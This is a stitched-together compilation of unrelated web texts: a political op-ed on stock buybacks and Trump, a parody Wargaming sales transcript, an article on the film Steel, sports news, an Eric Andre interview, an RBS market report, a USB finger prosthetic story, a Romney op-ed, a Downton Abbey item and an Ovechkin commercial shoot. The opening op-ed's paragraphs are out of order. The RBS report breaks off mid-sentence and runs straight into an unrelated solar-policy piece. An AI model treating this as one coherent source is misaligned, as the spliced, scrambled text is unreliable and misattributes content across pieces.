These stock “buybacks” are not trivial — Goldman Sachs predicted that in 2017 it would be the single largest cash expense for S&P 500 companies, more than $750 billion-worth.
One of the factors that make the prices they pay such a bullshit measure of anything — even the health of the companies they are supposed to represent — is that increasingly the buyers are the companies themselves.
Let’s start by remembering that “stock prices” are inanimate abstract concepts. They can no more rise or fall or take any other action than a fictional character can. The buyers of stocks pay sellers a certain price, and those real life, flesh-and-blood human actors determine what the stock market does.
The fact is that the destructive, anti-family trends that Obama inaugurated are accelerating under Trump — and the markets are celebrating even while your life keeps sucking.
Since that wealth is predicated on the exploitation of the rest of us using the stock market as an indicator for general well-being is like using your blood pressure as an indication of your health — the higher the better, right?
Now that rally appears to be stalling out, but the point is not that Trump is a better president than Obama was, or the other way around. It’s that the stock market is a garbage tool for measuring anything other than how rich the richest people are.
That meme may not be so comfortable for Democrats now. The day after Donald Trump’s election, the market went up by 257 points. In the four months since then, it has risen more than 2,500 — more than a fifth of what Obama managed in eight years.
If you have liberal friends online you may have seen memes bragging about how great the stock market did under Pres. Barack Obama. The numbers are impressive. The Dow Jones Industrial Average gained 11,855 points in his eight years in office, more than doubling.
Why would companies be more profitable under Trump? If profit is just income minus expenses, then anything that increases income or decreases expenses — or both — increases profitability. Income-wise, the main sources of cash in the world today come from big banks and the ultra-wealthy individuals and companies that do business with them.
Trump, despite specifically attacking Goldman Sachs by name during the campaign, appointed one of the firm’s top bankers as his treasury secretary and then another as his deputy treasury secretary. A third serves as his chief economic advisor, and others are littered throughout his administration.
The signal is clear — Trump is going to keep the faucet running at the big banks. And if the government has to refill the tank, everyone knows he will. At one point during the post-election stock boom, Goldman Sachs alone made up nearly a quarter of the market’s gains.
The markets — or rather the buyers and sellers participating in the market — probably also thought that Trump would be able to work easily with the Republican Congress to get a big infrastructure bill through, which would provide another useful source of income.
The fact that his healthcare bill blew up in a cloud of blame, animosity and recriminations makes that seem much less likely and might explain the boom’s recent halt.
But it’s not income that really has the markets geeked, it’s Trump’s ability to affect some of the major expenses corporations face. First would be regulatory costs. Businesses spend a great deal of money on totally unnecessary expenses like not poisoning people’s drinking water or making sure that disabled people aren’t forced to piss themselves in public.
Since federal agencies issue and enforce these regulations, a stroke of Trump’s pen can revoke many of the rules, shifting the cost of bad corporate behavior onto the public.
Taxes are similar to the infrastructure stimulus in that the markets — again, those bankers and investors — assumed that Trump and Congress would easily pass them … and now that seems less likely.
There’s probably greater consensus on this topic than there ever was on health care, but the Freedom Caucus may refuse to settle for a package that the rest of the party can stomach.
The bill may also pit anti-tax warriors against budget hawks, and neither Paul Ryan nor the president have shown the capacity to foster compromise. Still, the odds are good that some sort of major tax cut for the wealthy and big businesses is going to come down, shifting the burden further on families and future generations.
One big step toward keeping deficit hawks in the fold will be the austerity measures outlined in Trump’s budget blueprint. Those slash-and-burn takes on federal agencies benefit private corporations by keeping deficits in check. Deficits are covered by the government borrowing money, which in turn drives up the price of debt — that is to say, interest. Austerity keeps down deficits, which helps keep down interest rates.
Government spending also puts cash into the economy somewhere, either in a government employees’ paychecks or checks to contractors and vendors. More cash in circulation means more inflation. Cutting deficits and spending means cutting inflation and interest, both of which eat away at corporate profits.
Another factor driving austerity policies here and abroad is that they have a slowing effect on the economy as a whole. The dirty secret is that fast economic growth not only drives up inflation, it also tends to increase incomes for workers and create new jobs that provide them better bargaining positions.
A slow, steady economic growth just high enough to keep money flowing for the billionaires, but not so fast that families can get their feet underneath them, is what the wealthy really want. Conveniently for them, it’s also what they’ve been getting for almost a decade now.
It’s here that profits really come in, because they are always created by workers adding value that employers don’t pay them for. Workers work all day and generate value for the boss, but are paid only a fraction of what they earn. The less you can pay them, the more surplus you can generate — and the higher your stock price will go.
In the last couple of years, employers across the country have been facing big new pushes for higher wages, but Trump promises a hiatus from those concerns — or so they believe. Add to this the collapse of the Democratic Party at the state level, and they have powerful allies in keeping the working class in check.
For them, that’s cause for celebration, and their fiesta has been on Wall Street.
So tax burdens shifted onto working families, essential programs and benefits cut, intentional slowdowns of the economy, suppressed wages and undermined unions — that seems like a pretty raw deal for everybody who isn’t already set for life.
They’re also all the reasons why the stock market soared for four months. The only reason it may be slowing down now is because employers aren’t sure Trump will get to fuck us that badly, after all.
The stock market is bullshit on the one hand and, on the other, a precise measurement of just how screwed we really are. Liberals should think twice before celebrating just how great their guy did with it.
Intentionally screwing working families isn’t going to make Trump popular, especially in light of his populist campaign messages. It’s here that we see why he screams so much about voter fraud in an election he won. He’s trying to justify the voter-suppression to come — a suppression necessary to counteract the intensely unpopular things he’ll be doing to keep the billionaires happy.
This is why capitalism has abandoned liberalism. It needs to do things nobody will vote for.
This furthermore explains Trump’s appeal to race-hate and fear. They keep the most politically powerful segment of the population — the white middle class — focused on a topic other than their own bottom line.
They also provide a useful scapegoat for people too ignorant or asinine to see what’s really happening and who’s really benefiting. You didn’t lose your white-collar managerial job and have to start working at Target because of immigrants — it’s because the folks that own both your old company and Target all make more money when you make less.
Finally, this fear and hatred pave the way for the war to come, both to justify the crackdowns that keep the elections in hand and to generate yet more income without public investment.
If we are going to prevent this, we need a movement or a network of movements that doesn’t give a fuck about the stock market, that resists all imperialist aggression from the United States, that demands higher taxes for the wealthy, more regulation, more government spending on bigger and better social programs, guaranteed higher wages, a mighty labor movement and that puts working people over profit.
Anything less than this — and the name for such a philosophy is socialism — keeps the door open to the devastation outlined above. Certainly the liberals who pine for a president who will make the Dow Jones soar aren’t going to deliver it, and neither is their preferred political party.
What history has shown, however, is that when people come together and organize on these principles movements are built, and when you build the movement the party follows.
That work is something we can all invest in. Stay defiant.
Writing is hard. Money is short. Support this reporter. Follow DEFIANT on Facebook and Twitter.Description: Black Friday Specials meeting at wargaming headquarters 2016
So we were thinking what kind of stupid deal we could come up with for black friday
We need an idea fast
we are running out of time, friday is approching
So it hit me, so stupid it was brilliant
reskin existing premiums black and sell them
in a bundle
the best part
we will sell them for for $200
we also said they were discounted
i said to pauly p i hope no one can use a calculator
becuase if they do they will see that there is no discount
$200 enjoy your reskins
and here's the best part
we have a new premium tank
the FV201 (A45)
and we stuck it in the $200 bundle
and
it's the only way you can get it
enjoy black friday suckers
hold on hold on
there is more
wait i have to be serious
we value our customers
so we have other deals
get your credit cards out
get ready
it's good
we took our other premiums
we stuck them in other bundles
and made them a stupid price also
but but
but but
jesus christ above
i can only imagine those stupid fuckers on the forum
they will be salty as fuck
you like that
of course i like it
there will be rage threads for days
no crying about the Waffle for a week
no complaining about team mates for days
so will there be any discounts on premium?
maybe, i don't know
i'm all out of stupid ideas
maybe maybe
actually i just thought of one
wait this is good
1 years premium 5% offSteel is a 1997 American superhero film based on the DC Comics character of the same name. The film stars Shaquille O'Neal as John Henry Irons and his alter-ego Steel, Annabeth Gish as his wheelchair-using partner Susan Sparks, and Judd Nelson as their rival Nathaniel Burke. The plot centers on an accident caused by Burke which leaves Sparks paralyzed. The accident results in Irons quitting his job. Burke begins mass-producing weapons and selling them to criminals. In order to stop Burke, Irons and Sparks create a suit of armor that leads Irons to become the superhero Steel.
Written and directed by Kenneth Johnson,[2] the film separates itself from the comic book series (and John Henry Irons' status as a supporting character of Superman) by using original protagonists and antagonists. On its initial release, Steel was a box office bomb and was panned by critics, noting the "cheesiness" and bad acting in the film.[3]
Plot [ edit ]
John Henry Irons (Shaquille O'Neal) is a weapons designer who invents high-tech laser guns, protective armor, and sonic sound cannons for the United States military. One soldier, Nathaniel Burke (Judd Nelson), decides to show just what Irons' weapons can do and sets one of Irons' sonic cannons at the highest power setting, firing the device at an abandoned building. However, the weapon backfires and destroys the building the team is situated in. Irons' partner, Susan "Sparky" Sparks (Annabeth Gish), is crushed by a large slab of concrete in the ensuing chaos. In court, Irons reveals Burke's role in the incident and Burke is dismissed from the military. Because his weapons resulted in Sparks becoming a paraplegic, Irons resigns in disgust. Meanwhile, Burke hatches a plot to sell Irons' weapons to criminal gangs, recruiting a video arcade manager to help him carry out this deed.
Irons witnesses a bank robbery organized by gang members wielding Burke's modified guns; they escape before he can interrogate them on where they obtained the weapons. The gang does not tell Irons anything when confronted directly in their hideout. Irons visits Sparks in a veteran's hospital and takes her to his own assembled laboratory, where he hopes he and Sparks can create weapons needed to combat the criminals. With the help of Uncle Joe (Richard Roundtree), they forge a suit of armor and the weaponry necessary for Irons to carry out his war on crime and become the vigilante "Steel". However, during his crusade against crime, Irons is pursued by the cops and is forced to return to his lair. The next night, the robbers arrange to rob another bank. Irons, as Steel, tries to stop them, but is hindered by the robbers' weapons. When Irons returns to his grandmother's (Irma P. Hall) house, he is arrested.
Meanwhile, Burke prepares to auction off all his modified weapons to every criminal organization in the world over the Internet. When Irons is released from jail, Sparky is captured by Burke's thugs. Irons, as Steel, attempts to infiltrate Burke's headquarters, but is captured himself in the process. When Burke continues with the auction, he is tricked by Steel, which allows him and Sparks to rebel and destroy Burke's lair. Burke himself is killed when a laser he fires towards Steel reflects back towards him due to Steel's suit. After this, Steel, Sparky, Joe, and Martin (Ray J) escape Burke's lair.
The following day, Col. David (Charles Napier) talks to actor Arnold Schwarzenegger (actually Irons via voice changer) about Steel and the events on what happened the day before and offers him to help before realising it is actually Irons who he is talking to and after that, Irons declines David's offer.
In the grand opening of her restaurant, Irons' grandmother tells him about Steel and then tells Joe that everyone would be proud of his heroism. After Sparky shows the new modifications of her wheelchair that allows her to walk, Irons smiles and hugs her.
Cast [ edit ]
Production [ edit ]
Production of the film Steel started with music producer Quincy Jones and his partner David Salzman.[4] Both Jones and Salzman were fans of the Steel character, especially Jones, who found personal reasons to support the project.[4] Jones stated that he found children's "perspective on the future has changed for the worse, and I hate seeing young people who don't believe in the future. Steel—and I don't want to use that word'superhero,' because he doesn't fly or anything like that—represents a role model. Let's just call him a `super human being.'"[4]
Writing [ edit ]
Kenneth Johnson was the screenwriter and director of Steel. Johnson was originally uninterested in doing a superhero film, having previously turned down offers to film adaptations of The Bionic Woman, Alien Nation, and The Incredible Hulk.[4] Film producer Joel Simon described Steel as being different, stating that he was "a knight in shining armor in a contemporary setting".[4] Johnson removed Steel's cape from his costume to reflect this.[4]
Johnson described Steel's persona as a "blue-collar Batman" and removed Steel from his comic book storyline and replaced it with protagonists and antagonists of his own invention.[4] To aid with the urban aspects of the dialog Johnson took a copy of the script to South Central Los Angeles and spent a day with a group of kids to ensure that the language of some of the characters was more believable.[4] Throughout the film and script, Johnson created several allusions to his previous television series Alien Nation.[5]
Filming [ edit ]
The filming schedule consisted of fifty-one days with thirty-two full nights of shooting in downtown Los Angeles.[6] The shooting schedule presented difficulties for the director due to the schedule of the star Shaquille O'Neal. O'Neal was already committed for playing in the 1996 Summer Olympics, and training at the Los Angeles Lakers' camp in Hawaii.[4] This left Johnson with five weeks to complete filming all scenes with O'Neal.[4] O'Neal had one read-through of the script before the Olympics and then worked with acting coach Ben Martin in between games to work on his character. When O'Neal returned to act with the rest of the cast, he had all his lines memorized.[4]
Music [ edit ]
As well as acting in the film, Shaquille O'Neal contributed to the soundtrack for the film. The single "Men of Steel" has him featured alongside rappers KRS-One, Ice Cube, B-Real, and Peter Gunz. The soundtrack was released on Quincy Jones' record label Qwest Records and included songs featured in the film and songs inspired by it.[6] The album charted in the United States on the Billboard 200 at number 185 and on the Top R&B/Hip-Hop Albums at number 26.[7]
Release [ edit ]
Box office [ edit ]
Steel was released in the United States on August 15, 1997.[1] Steel was considered a large box office bomb on its release with an estimated budget of $16 million, the film grossed just over $1.7 million at the box office.[1]
Reception [ edit ]
Steel was critically panned by critics upon its original release. On Rotten Tomatoes, the film has a rating of 12%, based on 25 reviews, with an average rating of 3/10. The site's consensus reads, "Steel is a badly-acted movie that indulges not only in superhero clichés, but also the sappy TV-movie-of-the-week ones."[3] Audiences polled by CinemaScore gave the film an average grade of "B" on an A+ to F scale.[8]
Leonard Kladly of Variety wrote that the film is "too broad and episodic to attract anything other than the most undemanding crowd."[9] Peter Stack of the San Francisco Chronicle described it as a "tolerable stinker of a film" that "plays like a Saturday morning cartoon."[10] Lawrence Van Gelder of The New York Times stated that the film is "slow to gather momentum and generates little excitement or tension."[11] Shaquille O'Neal earned a Razzie Award nomination as Worst Actor for his performance in the film, but lost against Kevin Costner for The Postman.[12][dead link]
Despite negative reception of the film, critics praised Annabeth Gish in the role of the wheelchair-using Susan Sparks. The New York Times called Gish's role a "strong performance."[11] The San Francisco Chronicle noted that she "becomes the first woman-in-wheelchair action hero in a Hollywood movie, too. Gotta give Steel some credit for that."[10]Jose Mourinho is backing Celtic for the English Premier League (Picture: Getty Images)
Jose Mourinho has indicated he has unfinished business with Celtic more than a decade after his Porto side pipped the Bhoys to the UEFA Cup in Seville.
That memorable final back in 2003 cast the Portuguese coach as a footballing heretic in the eyes of the Celtic support.
The green and white legions who descended on Andalusia in May 2003 have never forgiven the Chelsea boss for the time-wasting antics of his side.
Mourinho has of course become one of the leading managers in the game since breaking the hearts of Martin O’Neill and his star-studded outfit.
Indeed when he talks football listens, and Mourinho is now calling for Celtic’s inclusion in the English Premier League.
In short he feels they would bring ‘something special’ to the league and are suffering because of the lack of competition in their own backyard.
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That will be music to leading lights inside Celtic Park who have been seriously considering such a move for some time.
MORE: Why Tom Hanks is the latest superstar to fall in love with Celtic
The Celtic support would welcome Jose Mourinho (Picture: Reuters)
It’s not as though the former Real Madrid and Internationale boss doesn’t know the game in Scotland. In fact in a sense his managerial career began there nearly 20 years ago.
As a translator for Bobby Robson at Porto he came to the SFA’s centre of excellence in the Ayrshire town of Largs – a famed coaching hub – to gain his badges.
We may think of Mourinho as a lover of the English game, but it is undeniable that Scotland is his spiritual home.
Perhaps this was another reason for his good personal and working relationship with Sir Alex Ferguson from the off.
Now, not content to talk up Celtic as a ‘big club’ with a ‘famous history’, he has held out the prospect of taking charge there one day.
Asked if he fancied the hot seat in the east end of Glasgow he said ‘you never know what can happen in football.’
Celtic competing south of the border may still be pretty unlikely but given his links to Scotland the idea of Mourinho plying his trade there is by no means far-fetched.
MORE: Is Celtic’s Neil Lennon actually a good manager or was it all just hype?
MORE: Club MetroThe comedian and star of Adult Swim's 'The Eric Andre Show' tells #THRpodcasts why he's "not trying to make anybody look bad" - even if Lauren Conrad's publicist wants him kicked out of Hollywood.
Adult Swim's The Eric Andre Show is not for the faint of heart - especially if you're one of Andre's guests. The show, which he co-hosts with fellow comedian and good friend Hannibal Buress, is a prank show masquerading as a talk show, and, as Andre tells us in this episode of Off the Cuff, "99 percent of the time they have no idea what's going on." Take, for example, Lauren Conrad, one such guest who was chatting with Buress when Andre, mid-interview, interrupted her with a gag involving a cup of oatmeal he had kept hidden under his desk.
"I puked myself during her interview," he explains, and Conrad "was trying not to throw up so she just bee-lined out. Her publicist was like, 'He thinks it's funny and it's not funny.'" Needless to say, "Lauren Conrad's publicist is not a big fan" of Andre.
Despite these on-set antics, which some guests (like Seth Rogen) are admittedly much more game for than Conrad, Andre insists that he's "not trying to make anybody look bad," and that he and Buress are "just trying to look like we are the two most incompetent talk show hosts on television."
Before pioneering this bizarre breed of public access meets Punk'D, Andre was a Berklee College of Music grad who moved to New York for an internship at Matador Records, making photocopies, grabbing lunches and noticing how impossible it was for some of his favorite musicians to break into the industry.
"At least comedy, the more work you put into it, the more you get out of it," he realized. "I knew some of the best, most virtuosic musicians, players, songwriters, and they were broke. It didn't matter how good you were at your instrument, it didn't matter how good you were at writing a song. Ashlee Simpson was making millions and you were eating beans by candlelight. But if you were really good at comedy, you were going to work."
So Andre started doing stand-up gigs at "chicken shit bars in the East Village" while barely paying rent in pre-gentrified Williamsburg.
"Hannibal and I were like homeless. He was sleeping on the subway. I would rent out my room to my friend and sleep in a park behind our apartment building."
When asked if he sees a bright future for himself now like some of his idols he grew up watching, he responds optimistically:
"Woody Allen has a pretty nice career. Except his personal life is utter shit. But his resume is fantastic!"
Listen to Andre's full interview in this episode of Off the Cuff, and be sure to subscribe to #THRpodcasts on iTunes for all the latest episodes.LONDON (MarketWatch) -- Royal Bank of Scotland fronted a slump in the European banking sector on Monday, as investors fretted that the latest moves to support the sector won't be enough to get banks lending again.
The pan-European Dow Jones Stoxx 600 index (SXXP) fell 1.7% to 189.62.
Although the banking sector initially traded higher after the U.K. government moved to support the U.K. financial sector and Barclays reassured on profit trends late Friday, shares turned sharply lower as the session went on.
Royal Bank of Scotland (RBS) shares sank nearly 67% in London with investors stunned by news that the lender could be on track to produce the biggest annual loss in U.K. corporate history. RBS said that it could report a loss of up to 28 billion pounds ($41.6 billion) for the year.
In tandem with the RBS announcement, the U.K. government said it will restructure its recent rescue package for the lender as part of a wider package of measures designed to help the U.K. financial sector. See RBS story.See story on U.K. bank bailout.
"I'm not convinced that it's the kind of policy that's actually going to achieve its stated aim of boosting lending," said Peter Dixon, strategist at Commerzbank. "It's not forcing banks to take the junk off the balance sheet. It's not forcing banks to restructure and I think that's a major weakness," he said.
"Effectively what we've done today is postpone the inevitable and for that reason I think if I was an investor in banking stocks I would be very skeptical that this is the end of the line for government intervention," he added.
Dixon said that there are implications for the other sectors as well. "There's a lack of credit in the economy and that's going to impact on all |
the short and medium-term policy certainty required for major project investments," said Seb Berry from Solarcentury.
"Large-scale solar is already significantly cheaper than offshore wind and will be competitive with onshore wind by 2017. In deliberately setting out to strangle the growth of cheaper solar from 2015, Secretary of State [Ed] Davey can no longer claim that government policy will deliver the most cost-effective mix of technologies by 2020."
Campaigners were also upset, claiming that the government has completely underestimated the potential of renewables.
"Every time a renewable energy technology starts to do well it gets hit by a wave of Government uncertainty, which pushes up costs and threatens jobs and investment," said Alasdair Cameron from Friends of the Earth.
"Attacking large-scale solar parks, while doing almost nothing to boost rooftop systems, is another sign of this Government's piecemeal approach to policy making. Solar power is cheap, popular and essential for tackling climate change and energy security."
Follow Matt on Twitter.Mr Jalava says he was inspired by a joke made by the doctors treating him
A Finnish computer programmer who lost one of his fingers in a motorcycle accident has made himself a prosthetic replacement with a USB drive attached.
Jerry Jalava uses the 2GB memory stick, accessed by peeling back the "nail", to store photos, movies and programmes.
The finger is not permanently attached to his hand, so it can be easily left plugged into a computer when in use.
Mr Jalava says he is already thinking about upgrading the finger to include more storage and wireless technology.
"I'm planning to use another prosthetic as a shell for the next version, which will have removable fingertip and RFID tag," he wrote on his blog, ProtoBlogr.net.
Half of Mr Jalava's left ring finger had to be amputated last summer after he crashed into a deer while riding his motorbike near Helsinki.
He says he was inspired to create the unique storage device when doctors treating him joked that he should have a USB "finger drive" after finding out that he was a software developer.Posted by coltsindianapolis on November 3, 2015 – 3:52 pm
The Indianapolis Colts today signed guard Ben Heenan to the practice squad and released guard David Arkin from the practice squad.
Heenan, 6-4, 315 pounds, spent time with the Colts during the 2015 offseason and training camp after originally signing with the team on February 4, 2015. He was waived by the team during training camp on August 7. Heenan played the last three seasons (2012-14) with the Saskatchewan Roughriders of the Canadian Football League (CFL) after being selected by the team with the first overall pick of the 2012 CFL Draft. He competed in 52 career games on the offensive line, starting 49 contests. In 2014, Heenan started all 21 games for the Roughriders for the first time in his career. In 2013, he started 16 games at right guard and right tackle and helped the Roughriders win their fourth Grey Cup in franchise history. As a rookie in 2012, Heenan saw action in a total of 15 games and started 12.
Collegiately, Heenan played four seasons (2008-2011) at the University of Saskatchewan at both guard and tackle and helped the Huskies to three Canada West regular season titles and four playoff appearances. Heenan was one of only three Canadian players selected to play in the East-West Shrine Game following his senior season. He was also named Second Team All-Canadian and was a Canada West All-Star in 2011. Heenan earned First Team All-Canadian and Canada West All-Star honors in 2010, while playing in the Canadian Interuniversity Sport East-West Bowl. In his first year with the Huskies in 2008, he started all nine games and was named Canada West Rookie of the Year.
Arkin, 6-5, 310 pounds, has had two stints on the Colts practice squad in 2015. He most recently was signed by the team on October 26. Arkin has played in one regular season game and three postseason contests with the Colts and Miami Dolphins. In 2014, Arkin spent the majority of the season on the Colts practice squad before being signed to the active roster and competing in all three of Indianapolis’ postseason games on special teams and in tackle-eligible situations.
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Posted in Colts BlogRemember those who urged consumers to heavily borrow for new homes just before the 2008 housing bubble burst? Such confidence was promoted as redefining economic reality, a nonsensical theory with destructive consequences. Now the Republican Party has borrowed this idea that a strong sales pitch changes facts on the ground by claiming “momentum” for Mitt Romney. It’s a “Mitt-mentum” not found in recent swing state polls or in early voting trends, or anywhere outside the GOP spin machine. It’s also another example of what Romney means when he says he wants to bring private-sector business tactics to the White House.
Ohio’s Republican Governor John Kasich (R) predicted on Meet the Press last weekend that Mitt Romney would win Ohio: “Right now, I believe we’re currently ahead. Internals show us currently ahead. Honestly, I believe that Romney is going to carry Ohio.”
Kasich’s reliance on the Romney campaign’s internal polls over the many independent polls showing Obama still in the lead in Ohio was neither a gaffe nor an accident. In fact, Kasich’s appearance on the national Sunday talk show was aimed at building “Mitt-mentum” in the absence of such a trend in the real Ohio world.
It’s a reality-defying sales pitch that has long been part of American go-go capitalism. Romney and Kasich would describe it as central to our entrepreneurial spirit.
Promoting Hucksterism
But as millions of Americans victimized by the housing bubble and other investment scams learned starting in 2007, there is a fine line between the entrepreneurial spirit that creates jobs and boosts innovation and reality-ignoring, job-killing hucksterism.
Mitt Romney and today’s Republican Party are relying on the latter. That’s why they are promoting an economic plan they claim cuts taxes while reducing deficits, and an energy plan that ignores climate change. This insistence that what one says makes it true goes to the heart of Romney’s repeated insistence that he, not President Obama, was the one fighting to save the auto industry, his “Let Detroit Go Bankrupt” editorial notwithstanding.
Once you believe your sales pitch can shape and even determine reality, nothing is off limits, including having Governor Kasich and others go on national talk shows to promote “Mitt-mentum” despite no evidence for this in the past two weeks of polling.
Hucksterism is nothing new in U. S. politics. In 1968 we learned how the new era of advertising enabled presidential candidates like Richard Nixon to be sold to voters like packages of cigarettes and other consumer products.
But as we learned in law school contracts class, there is a difference between aggressive “puffing” and lying. Mitt Romney and his GOP backers have not only erased this distinction, but taken the moral high ground by convincing themselves that the very fervency of their convictions makes them true.
Romney’s false insistence during the first debate that he opposed tax cuts for the wealthy was central to his success. President Obama was so taken aback that he was unable to effectively respond.
The Downside
Americans learned from the housing and investment bubble that even the most confident sales pitch cannot change real estate fundamentals. And an appearance of great confidence was required at businesses like Countrywide, whose sales staff knew they were lying to borrowers but were intent on making the sale.
I think voters saw that Romney’s words were disconnected from reality during the third debate, which is why his poll numbers in Ohio and other swing states have weakened since that time. The same folks who “sold” the Iraq invasion and the housing bubble are all in on the “Mitt-mentum” theme, but this time the voters are not buying.
Randy Shaw is the author of The Activist’s Handbook and Beyond the Fields: Cesar Chavez, the UFW and the Struggle for Justice in the 21st Century.
Filed under: ArchiveThe fifth season of period soap opera "Downton Abbey" won't start in the U.S. until January, but early reviews from the UK suggest the show's producers might be ready to make some odd, politically motivated directorial decisions in the next few episodes. According to the Hollywood Reporter (for what it's worth, mild spoiler alert), Lord Grantham's dog, Isis, is ill, and could very well be killed off before the end of the season. You get one guess as to why.
As British news outlets speculate about the real reason for Isis' illness, the company that produces the show in the UK, ITV, told The Independent that the name, plot point and acronym for the Islamic State are merely coincidental:
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Isis has been the Crawleys’ family pet since series two (2011) and was named after the Egyptian goddess... At the time the dog was named, and up to and including the majority of filming of series five, no one was using that acronym to describe a terror group. It is an unfortunate coincidence.
Is this political backpedaling? An attempt to rally viewers before the show's 2015 American premiere? Or is it simply the producers realizing that the show opened in 1912, and that making it all the way to 1924 -- when the fifth season is set -- would be a long, long life for a Labrador retriever?TeamOne member Rafael "pava" Pavanelli has decided to retire from gaming, the Brazilian veteran has announced.
In a Facebook post, the 31-year-old admitted that this was "perhaps the most difficult choice" of his life, and revealed that he will now focus on streaming under TeamOne's banner.
Rafael "pava" Pavanelli had been out of action since the beginning of October, when he was forced to take a break from gaming due to personal problems, with Jean-Michel "mch" D'Oliveira replacing him on TeamOne's active roster.
pava will be a streamer for TeamOne
The Brazilian veteran is widely known for his time representing Made in Brazil, with whom he attended multiple international events between 2003 and 2006, helping the team to win two CPL World Tour titles and to place fifth and sixth at CPL Winter 2003 and CPL Summr 2006, respectively.
After deciding to try his luck in CS:GO, pava played for teams like g3x and Santos Dexterity before joining TeamOne, whom he helped to qualify for last year's WESG Finals, in China. He made his last offline appearance for the team at the ESEA Season 25 MDL Global Challenge, in September, where TeamOne placed 5th-6th.A few days before the Capitals season opener, I put on a hoodie and a pair of cargo shorts and drove to Crystal City, Virginia. RMNB had been invited to go behind the scenes of Alex Ovechkin’s latest project, a commercial promoting Ovi’s Wish Special for Papa John’s.
It turned out to be a memorable experience, and I regret wearing the cargo shorts.
Behind the Scenes video
Russian Machine Never Breaks was named as a nod and a wink to Alex Ovechkin. We cover try to hockey with the same enthusiasm that he plays with. And over the years, I’ve been asked by friends and family what the future Hall of Famer is like in real life, but there was a problem: I had never met him.
That changed on October 8, 2016, though, and I cannot emphasize this point enough: I did not expect to be introduced to him.
When I arrived, I met up with Amanda Bowen, RMNB photographer and intern Redskins photog, to make a gameplan for the shoot. I was greeted by members of Ovechkin’s entourage as well as the production team of the Hack|Stone Film Group and Executive Media Communications.
“Let’s get you inside so you can talk to Ovi,” Michael Bobys, COO of EMC, said, tossing me into the deep end. Ovi was taking a break from the first part of shooting.
I think most people would be excited to meet a hockey legend. I was, well, terrified.
I felt a kind of dread that’s hard to describe. Instead of feeling excitement for a Big Blog Moment, I felt like a putz. I thought of every article I had written about Ovechkin over the last seven years. Is he going to hate me for some of these? Is it weird I’ve covered his life down to what his favorite color is? (Yes.)
I made my way down the hallway. I peeked up to see Ovechkin sitting at the dining room table. His eyes met mine. Oh no. He sees me. What do you say to the person who you basically named a blog after? Sup, dude?
Before Bobys could make the introduction, the director walked in, yelled “we’re all set,” and ushered Ovechkin to the next scene.
Crisis averted.
Before I had arrived, I wasn’t sure if the commercial shoot would happen. Hurricane Matthew was churning off the east coast of South Carolina. The skies were overcast and spitting out a heavy mist.
The directors of the commercial had picked a quaint neighborhood community to shoot at — full of large single-family homes. The setting reminded me of the video game Paperboy.
The crew had covered the yard of the main location with a huge, clear piece of plastic. Ten thousand watts of lighting hung overhead. This setup, I was told, would counteract the gray sky, make scenes look sunnier in post-production. To keep the light stands from collapsing, production assistants had to constantly push the collecting water off an overhead tarp.
As shooting for the next scene began, I heard a tuckaTHUCKtuckaTHUCKtucka sound and looked down the road. Giant human Alex Ovechkin had acquired a tiny stick-shift car, now clunking up the road towards me.
Ovechkin, now wearing a black PIZZA shirt, pulled up to the production crew, stopped the car, and looked at us with a straight face. “Pizza’s here!” he said. The crew laughed.
Ovechkin was undeniably the star of the commercial, but the bright yellow 1985 Trabant 601 almost stole the show. This would be Adult Ovi’s pizza delivery vehicle.
“We really wanted to put Ovi into something ridiculously small and memorable, so we found the Trabant,” Bobys told me. “The Trabant was originally an East German car that became popular among tuners and rally racers in Russia. It is now also a favorite among antique car collectors in the US. Its nickname is Spark Plug on Wheels, and it runs on a two-stroke motor, where you have to mix the oil and gas together like a WeedEater. It has 25 horsepower.”
Shooting resumed. Ovechkin drove the car around the block a few times to give the director, Dan Hack, transition scenes to work with. At one point, pizza boxes were stacked on the hood of the car. Ovechkin drove away and the boxes fell off; imaginary pizzas inside ruined.
The premise of the commercial was Ovechkin’s childhood dream of becoming a pizza delivery boy. As an adult, Ovechkin would learn that he is awful at it, but, through the experience, he discovers his love and talent for hockey. Ovi then uses his success to help others.
After about 20 minutes of shooting the car, Ovechkin got out and walked over to the production crew. He stood right beside me.
“Hey, Ovi, this is Ian. He writes for RMNB,” Bobys said.
Ovechkin smiled. I reached out my hand.
“It’s really nice to meet you,” I said.
“I like your site,” he responded.
A few minutes later, we stood by each other again. Ovechkin had a question for me.
“Is this your house?” Ovechkin said, insinuating that I could afford an $800,000 home in downtown Arlington.
“Yes, I bought it with all the blog money,” I said.
Things went great from there. For the rest of the shoot, Ovechkin and I exchanged one-liners.
A sampling:
“What is a puck made out of?” Director Dan Hack asked Ovechkin. “Rubber,” Ovechkin said. “Vulcanized rubber,” I said, to be precise. “He know more about hockey than I do,” concluded Ovechkin with a big smile. *** “Ovi, just do a ridiculous laugh like HAHAHAHA,” Hack said to Ovechkin before another scene. “Okay,” Ovechkin said. “That should be easy for you,” I said. [laughs] *** “Imagine if I roll up to Kettler in this,” Ovechkin said, looking at the car. [laughs] “I think that’d be a good look,” I said. “Do you think owner let me have it?” Ovechkin said. “For you, Ovi, I think so.”
During downtime, Ovechkin would retreat to a more private area. He watched Russian-language videos on speaker. At other times, he listened to rap or electronic dance music.
The last shoot involved everyone moving to a house at the end of the street. Ovechkin would knock on the door, deliver a pizza, and enrage a customer with poor service. “Pizza’s here!” Ovechkin said over and over.
After about ten takes, we moved to the sidewalk, where a makeshift Bauer hockey net was set up. Ovechkin picked up a foam puck with a kid sized stick. He started puck juggling. (Full video and GIFs here.)
“TJ Oshie style,” Ovechkin said, trying and failing to kick the puck back into the air.
Noticing my ooh’s and ahh’s, Ovechkin took the stick-handling tricks to another level, doing a lacrosse or light-saber-like move where he twirled his arms while the puck stayed glue to the blade. He nearly hit me in the face at one point. It didn’t seem real. It looked like special effects from a movie.
“You try it,” Ovechkin said once he was finished. He gave me the hockey stick and took my phone before I could say anything. “It’s easy. You just swing your wrists like this. It’s a feeling.”
And Ovechkin filmed me, but pressed the play button twice. The video ended after a half second. Unaware, I tried his move. The puck immediately fell off the blade. Even in that one-second video, I had failed.
“You are the worst teacher in the world,” I said.
Hack noticed Ovechkin’s tricks and asked to film it as a new scene for the commercial. Ovechkin obliged. He did it in one take.
For the final scene, Ovechkin ripped a slap shot down the street. It was the moment in the commercial that he realizes his real talent was hockey.
After a few more takes, that was a wrap, and I received a gift. Ovechkin handed me his hockey stick. “Keep practicing,” he said.
He assigned me another task. Ovechkin signed the pizza boxes and the other shirts used in the commercial. He asked me to auction off the items to raise money for the Make-A-Wish Foundation. By this point, Ovechkin’s Wish Special through PapaJohns.com had already raised $36,000. He wanted to raise even more. (Here’s a link to the auction items.)
